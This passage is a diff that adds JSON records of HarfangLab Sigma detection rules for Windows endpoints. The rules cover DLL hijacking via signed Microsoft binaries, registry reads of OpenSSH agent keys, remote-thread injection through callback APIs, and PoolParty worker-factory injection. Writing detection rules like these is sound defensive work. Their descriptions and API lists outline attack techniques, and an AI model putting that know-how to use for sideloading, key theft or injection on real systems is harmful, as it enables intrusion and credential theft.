+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e83d7b78-1e43-40d7-8800-306e1ec12054",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098099Z",
+  "creation_date": "2026-03-23T11:45:34.098102Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098109Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dfsutil.yml",
+  "content": "title: DLL Hijacking via Dfsutil.exe\nid: e83d7b78-1e43-40d7-8800-306e1ec12054\ndescription: |\n    Detects potential Windows DLL Hijacking via Dfsutil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Dfsutil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\netapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e83d7b78-1e43-40d7-8800-306e1ec12054",
+  "rule_name": "DLL Hijacking via Dfsutil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Dfsutil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e8559b97-e738-4a06-9a9b-817401d64936",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589338Z",
+  "creation_date": "2026-03-23T11:45:34.589342Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589350Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msicert.yml",
+  "content": "title: DLL Hijacking via MsiCert.exe\nid: e8559b97-e738-4a06-9a9b-817401d64936\ndescription: |\n    Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiCert.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://www.elastic.co/fr/security-labs/exploring-the-ref2731-intrusion-set\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/04\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsiCert.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\msi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x??\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e8559b97-e738-4a06-9a9b-817401d64936",
+  "rule_name": "DLL Hijacking via MsiCert.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via the Microsoft developer tool MsiCert.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e8880433-d351-4c68-ab08-ca979b1ad178",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074784Z",
+  "creation_date": "2026-03-23T11:45:34.074786Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074791Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/",
+    "https://attack.mitre.org/techniques/T1552/002/",
+    "https://attack.mitre.org/techniques/T1552/004/"
+  ],
+  "name": "t1003_002_susp_registry_read_openssh_keys.yml",
+  "content": "title: OpenSSH Agent Keys Read from Registry\nid: e8880433-d351-4c68-ab08-ca979b1ad178\ndescription: |\n    Detects a suspicious read operation on registry keys storing SSH keys when using an OpenSSH agent.\n    Adversaries may try to steal SSH keys in order to move laterally within the information system.\n    It is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\nreferences:\n    - https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/\n    - https://attack.mitre.org/techniques/T1552/002/\n    - https://attack.mitre.org/techniques/T1552/004/\ndate: 2024/04/02\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.002\n    - attack.t1552.004\n    - attack.discovery\n    - attack.t1012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'ReadValue'\n        TargetObject|startswith: 'HKU\\\\*\\SOFTWARE\\OPENSSH\\AGENT\\KEYS\\\\*'\n\n    filter_ssh_agent:\n        Image:\n            - '?:\\Windows\\System32\\OpenSSH\\ssh-agent.exe'\n            - '?:\\Program Files\\OpenSSH-Win64\\ssh-agent.exe'\n            - '?:\\Program Files\\OpenSSH\\ssh-agent.exe'\n            - '?:\\Program Files (x86)\\OpenSSH-Win64\\ssh-agent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e8880433-d351-4c68-ab08-ca979b1ad178",
+  "rule_name": "OpenSSH Agent Keys Read from Registry",
+  "rule_description": "Detects a suspicious read operation on registry keys storing SSH keys when using an OpenSSH agent.\nAdversaries may try to steal SSH keys in order to move laterally within the information system.\nIt is recommended to check whether the process accessing the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1012",
+    "attack.t1552.002",
+    "attack.t1552.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e88a2dea-c3ee-4daa-8004-6cfa83f2363f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587296Z",
+  "creation_date": "2026-03-23T11:45:34.587299Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587307Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fondue.yml",
+  "content": "title: DLL Hijacking via fondue.exe\nid: e88a2dea-c3ee-4daa-8004-6cfa83f2363f\ndescription: |\n    Detects potential Windows DLL Hijacking via fondue.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fondue.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\msi.dll'\n            - '\\osbaseln.dll'\n            - '\\PROPSYS.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e88a2dea-c3ee-4daa-8004-6cfa83f2363f",
+  "rule_name": "DLL Hijacking via fondue.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fondue.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e8a8f8bb-6e74-4ca2-872c-0b570f794072",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079635Z",
+  "creation_date": "2026-03-23T11:45:34.079637Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079641Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@s12deff/execute-code-via-enumchildwindows-callback-c6cc986a05b0",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_remote_thread_callback_function.yml",
+  "content": "title: Remote Thread Created via a Callback Function\nid: e8a8f8bb-6e74-4ca2-872c-0b570f794072\ndescription: |\n    Detects a remote thread starting a function calling a callback.\n    Adversaries may inject malicious code in a remote process and use a function calling a callback to circumvent a direct call to their injected code when creating a remote thread.\n    It is recommended to check for suspicious behavior by both injecting and injected processes.\nreferences:\n    - https://medium.com/@s12deff/execute-code-via-enumchildwindows-callback-c6cc986a05b0\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/09/10\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        StartFunction|startswith:\n            # can be exploited\n            - 'EnumWindowStations'\n            - 'EnumWindows'\n            - 'EnumPwrSchemes' # win2003\n            - 'EnumPageFiles'\n\n            # probably exploitable if prerequisite\n            - 'SymEnumProcesses' # need SymInitialize before\n            - 'FlsAlloc' # then FlsSetValue\n            - 'SwitchToFiber' # strange\n\n            # probably exploitable with callback 1st\n            - 'EnumUILanguages'\n            - 'EnumLanguageGroupLocales'\n            - 'EnumCalendarInfo'\n            - 'EnumTimeFormatsEx'\n            - 'EnumSystemLocalesEx'\n\n            # probably not exploitable\n            - 'EnumThreadWindows'\n            - 'EnumResourceTypes'\n            - 'EnumProps'\n            - 'EnumObjects'\n            - 'EnumICMProfiles'\n            - 'EnumFonts'\n            - 'EnumFontFamilies'\n            - 'EnumerateLoadedModules'\n            - 'EnumDisplayMonitors'\n            - 'EnumDirTreeW'\n            - 'EnumDesktopWindows'\n            - 'GetThreadDesktop'\n            - 'EnumDesktops'\n            - 'EnumChildWindows'\n            - 'CryptEnumOIDInfo'\n            - 'CopyFile'\n            - 'CertEnumSystemStore'\n            - 'CertEnumSystemStoreLocation'\n            - 'VerifierEnumResource'\n            - 'SymEnumSourceFiles'\n            - 'SymFindFileInPath'\n            - 'SetupCommitFileQueueW'\n            - 'SetTimer'\n            - 'LdrEnumerateLoadedModules'\n            - 'InitOnceExecuteOnce'\n            - 'ImmEnumInputContext'\n            - 'ImageGetDigestStream'\n\n            # strange but seen itw\n            - 'Thread32Next'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e8a8f8bb-6e74-4ca2-872c-0b570f794072",
+  "rule_name": "Remote Thread Created via a Callback Function",
+  "rule_description": "Detects a remote thread starting a function calling a callback.\nAdversaries may inject malicious code in a remote process and use a function calling a callback to circumvent a direct call to their injected code when creating a remote thread.\nIt is recommended to check for suspicious behavior by both injecting and injected processes.\n",
+  "rule_creation_date": "2024-09-10",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e8ab1ba0-0993-4c90-bbba-d1f1de486df6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096242Z",
+  "creation_date": "2026-03-23T11:45:34.096244Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096248Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_licensingui.yml",
+  "content": "title: DLL Hijacking via Licensing.exe\nid: e8ab1ba0-0993-4c90-bbba-d1f1de486df6\ndescription: |\n    Detects potential Windows DLL Hijacking via Licensing.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LicensingUI.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\dui70.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e8ab1ba0-0993-4c90-bbba-d1f1de486df6",
+  "rule_name": "DLL Hijacking via Licensing.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Licensing.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e8bd72ec-7cea-45b6-bbcb-62c2c429ce00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071051Z",
+  "creation_date": "2026-03-23T11:45:34.071053Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071058Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/",
+    "https://thehackernews.com/2023/12/new-poolparty-process-injection.html",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_worker_factory_startroutine_overwrite_injection.yml",
+  "content": "title: Process Injection via Worker Factory Start Routine Overwriting\nid: e8bd72ec-7cea-45b6-bbcb-62c2c429ce00\ndescription: |\n    Detects a process injection by overwriting the Worker Factory Start Routine function. This technique is also known as 'PoolParty'.\n    All processes in Windows have an User Mode Thread Pool by default. This pool contains Worker Threads responsible for executing code.\n    A Worker Factory is the Kernel Mode object responsible for managing these Worker Threads.\n    The Start Routine is the function pointer present in the Worker Factory structure that serves as the entry point for Worker Threads. This routine normally serves as the Thread Pool scheduler, responsible for dequeuing and executing work items.\n    Adversaries may overwrite the Start Routine pointer address with malicious code and force the creation of a new thread, effectively executing their code inside of a new process.\n    It is recommended to investigate both the injecting and target processes activities to determine legitimacy.\nreferences:\n    - https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/\n    - https://thehackernews.com/2023/12/new-poolparty-process-injection.html\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/12/12\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProcessInjection\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        # We look for exported functions that are located near this exported symbol\n        StartFunction|startswith: 'TpReleaseCleanupGroupMembers'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e8bd72ec-7cea-45b6-bbcb-62c2c429ce00",
+  "rule_name": "Process Injection via Worker Factory Start Routine Overwriting",
+  "rule_description": "Detects a process injection by overwriting the Worker Factory Start Routine function. This technique is also known as 'PoolParty'.\nAll processes in Windows have an User Mode Thread Pool by default. This pool contains Worker Threads responsible for executing code.\nA Worker Factory is the Kernel Mode object responsible for managing these Worker Threads.\nThe Start Routine is the function pointer present in the Worker Factory structure that serves as the entry point for Worker Threads. This routine normally serves as the Thread Pool scheduler, responsible for dequeuing and executing work items.\nAdversaries may overwrite the Start Routine pointer address with malicious code and force the creation of a new thread, effectively executing their code inside of a new process.\nIt is recommended to investigate both the injecting and target processes activities to determine legitimacy.\n",
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
